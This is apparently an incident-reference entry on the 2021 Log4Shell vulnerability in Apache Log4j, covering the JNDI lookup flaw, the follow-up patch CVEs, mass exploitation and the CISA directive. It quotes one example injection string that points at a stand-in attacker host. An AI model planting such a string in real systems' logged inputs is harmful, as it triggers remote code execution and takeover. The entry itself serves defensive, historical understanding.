Log4Shell (Apache Log4j CVE-2021-44228)
A trivially exploitable remote code execution flaw in Apache Log4j 2, the ubiquitous Java logging library, scored a maximum CVSS 10.0 and exposed hundreds of millions of devices and applications worldwide to instant takeover via a single crafted log string.
- Victim
- Global (Apache Log4j users worldwide)
On 9 December 2021, a proof-of-concept exploit for a flaw in Apache Log4j 2 โ one of the most widely-used logging libraries in the Java ecosystem โ appeared publicly. Within hours, the internet was being scanned and exploited en masse. The vulnerability, CVE-2021-44228, nicknamed Log4Shell, scored a perfect CVSS 10.0 and is widely regarded as one of the most severe and far-reaching software vulnerabilities ever disclosed.
The vulnerability
Log4j supports a feature called JNDI (Java Naming and Directory Interface) lookups, allowing log messages to contain references resolved at runtime. The flaw was that an attacker could place a string like ${jndi:ldap://attacker.com/a} into any field that an application logged โ a username, a User-Agent header, a chat message, a device name. When Log4j processed that string, it would reach out to the attacker-controlled LDAP server, download a malicious Java class, and execute it. The result was unauthenticated remote code execution from nothing more than a logged string.
All Log4j 2 versions from 2.0-beta9 up to and including 2.14.1 were vulnerable. The flaw was discovered by Chen Zhaojun of the Alibaba Cloud Security Team, who reported it privately to Apache on 24 November 2021.
Why it was so dangerous
Three factors combined to make Log4Shell exceptional:
- Ubiquity. Log4j is embedded in countless Java applications, frameworks, and enterprise products โ often as a deep transitive dependency that organisations did not know they shipped. Affected products ranged from Minecraft and Apple iCloud to VMware, Cisco, IBM, and Amazon services.
- Triviality. Exploitation required no authentication and no special tooling โ a single string pasted into any logged input.
- Invisibility of the dependency. Many organisations could not even determine whether they were vulnerable, because Log4j was buried inside third-party software they could not inspect.
The patch chain
The initial fix proved incomplete, producing a cascade of follow-on CVEs:
- CVE-2021-45046 (14 Dec): the 2.15.0 fix was incomplete in non-default configurations, allowing RCE/DoS. Fixed in 2.16.0, which disabled JNDI by default.
- CVE-2021-45105 (17 Dec): denial of service via uncontrolled recursive lookups. Fixed in 2.17.0.
- CVE-2021-44832 (28 Dec): RCE via an attacker-controlled JDBC Appender configuration. Fixed in 2.17.1.
Response and exploitation
Exploitation was immediate and broad. Cryptominers, the Mirai and Muhstik botnets, ransomware operators, and state-sponsored groups (later confirmed to include Iranian and Chinese actors) all weaponised the flaw. On 18 December 2021, CISA issued Emergency Directive 22-02, ordering U.S. federal civilian agencies to remediate by 24 December.
Why it matters
In July 2022, the U.S. Cyber Safety Review Board published its first-ever report on Log4Shell, calling it an "endemic vulnerability" that would persist in unpatched systems for up to a decade. Log4Shell became the defining illustration of open-source software supply-chain risk: a single volunteer-maintained library, embedded invisibly across the global software stack, became a universal skeleton key overnight. It accelerated the adoption of software bills of materials (SBOMs), dependency-scanning mandates, and the broader push โ formalised in the U.S. Executive Order 14028 โ to treat the security of open-source dependencies as critical infrastructure.
Timeline
Chen Zhaojun of the Alibaba Cloud Security Team privately reports the Log4j JNDI RCE flaw to the Apache Software Foundation.
A proof-of-concept exploit for CVE-2021-44228 appears publicly (initially tied to Minecraft servers); mass scanning and exploitation begin within hours.
Apache releases Log4j 2.15.0 and the CVE is published with a CVSS score of 10.0. CISA and vendors issue emergency guidance.
CVE-2021-45046 is disclosed: the 2.15.0 fix is incomplete in non-default configurations. Apache releases Log4j 2.16.0, which disables JNDI by default.
CVE-2021-45105 (denial of service via recursive lookups) is disclosed; Apache releases Log4j 2.17.0.
CISA orders all U.S. federal civilian agencies to remediate Log4Shell by 24 December under Emergency Directive 22-02.
CVE-2021-44832 (RCE via attacker-controlled JDBC Appender configuration) is disclosed; Apache releases Log4j 2.17.1.
The U.S. Cyber Safety Review Board publishes its inaugural report, calling Log4Shell an "endemic vulnerability" likely to persist for a decade.
Sources
- cisa.govhttps://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance
- nvd.nist.govhttps://nvd.nist.gov/vuln/detail/CVE-2021-44228
- logging.apache.orghttps://logging.apache.org/log4j/2.x/security.html
- unit42.paloaltonetworks.comhttps://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- cisa.govhttps://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf